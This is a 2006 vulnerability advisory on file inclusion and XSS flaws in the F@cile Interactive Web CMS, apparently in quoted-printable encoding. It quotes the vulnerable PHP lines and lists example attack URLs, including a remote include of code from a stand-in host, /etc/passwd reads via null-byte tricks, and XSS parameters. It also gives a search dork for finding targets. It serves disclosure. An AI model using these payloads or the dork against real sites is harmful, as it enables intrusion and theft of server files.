--Security Report--
Advisory: F@cile Interactive Web <=3D 0.8x Multiple Remote Vulnerabilities.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 27/05/06 05:57 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: http://www.nukedx.com
}
---
Vendor: Facile (http://www.facile-web.it/)
Version: 0.8.5 and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary files to =20
Facile CMS.Parameter l
in p-popupgallery.php did not sanitized before using it.You can find =20
vulnerable code in p-popupgallery.php at line 28
-Source in p-popupgallery.php-
28: include ("$l/p-lang-base.php");
-End of source-
This can be caused to remote attacker include internal and external =20
files to p-popupgallery.php.
If magic_quotes_gpc off remote attacker can include internal files.
If allow_url_fopen on remote attacker can include external files.
This work regardless of any register_globals value.That vulnerability =20
is in 0.8.41 - 0.8.5
All other vulnerabilities works on version 0.8x..
There is another file inclusion vulnerabilities in p-editpage.php and =20
p-editbox.php.The parameter pathfile did not
sanitized properly.Remote attacker can include arbitrary local files =20
to these scripts.In php5 remote attacker also
include external resources too.This works with register_globals on.
Vulnerable codes in both files can be found at lines 20-21.
-Sources in both-
20: if(isset($pathfile) && is_file($pathfile)){
include("$pathfile");
-End of source-
There is another file inclusion vulnerabilities in themes.All themes =20
are vulnerable to include arbitrary local files.
This also be caused to XSS.Parameters mytheme and myskin did not =20
sanitized properly before using them.LFI works with
magic_quotes_gpc off.
Vulnerable files are:
p-themes/lowgraphic/index.inc.php
p-themes/classic/index.inc.php
p-themes/puzzle/index.inc.php
p-themes/simple/index.inc.php
p-themes/ciao/index.inc.php
Remote attacker also disclose local resources.The parameter lang in =20
index.php did not sanitized properly before using it.
This works with magic_quotes_gpc off.
Level: Highly Critical
---
How&Example:
GET -> http://[victim]/[FacilePath]/p-popupgallery.php?l=3D[FILE]
EXAMPLE -> =20
http://[victim]/[FacilePath]/p-popupgallery.php?l=3Dhttp://yourhost.com/cmd.=
txt?
EXAMPLE -> http://[victim]/[FacilePath]/p-popupgallery.php?l=3D/etc/passwd%0=
0
GET -> http://[victim]/[FacilePath]/p-editbox.php?pathfile=3D[FILE]
EXAMPLE -> http://[victim]/[FacilePath]/p-editbox.php?pathfile=3D/etc/passwd
EXAMPLE -> =20
http://[victim]/[FacilePath]/p-editbox.php?pathfile=3D\\192.168.1.1\file.php=
<- =20
php5
GET -> http://[victim]/[FacilePath]/p-editpage.php?pathfile=3D[FILE]
EXAMPLE -> http://[victim]/[FacilePath]/p-editpage.php?pathfile=3D/etc/passw=
d
EXAMPLE -> =20
http://[victim]/[FacilePath]/p-editpage.php?pathfile=3D\\192.168.1.1\file.ph=
p <- =20
php5
GET -> =20
http://[victim]/[FacilePath]/p-themes/THEME/index.inc.php?mytheme=3D[FILE]
EXAMPLE -> =20
http://[victim]/[FacilePath]/p-themes/THEME/index.inc.php?mytheme=3D/etc/pas=
swd%00
GET -> =20
http://[victim]/[FacilePath]/p-themes/THEME/index.inc.php?mytheme=3DXSS&mysk=
in=3DXSS
GET -> http://[victim]/[FacilePath]/index.php?mn=3D0&pg=3D0&lang=3D[FILE]
EXAMPLE -> =20
http://[victim]/[FacilePath]/index.php?mn=3D0&pg=3D0&lang=3D/etc/passwd%00
---
Timeline:
* 27/05/2006: Vulnerability found.
* 27/05/2006: Contacted with vendor and waiting reply.
---
---
Exploit: http://www.nukedx.com/?getxpl=3D35
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=3D35
---
Dorks: "Powered by F@cile Interactive Web"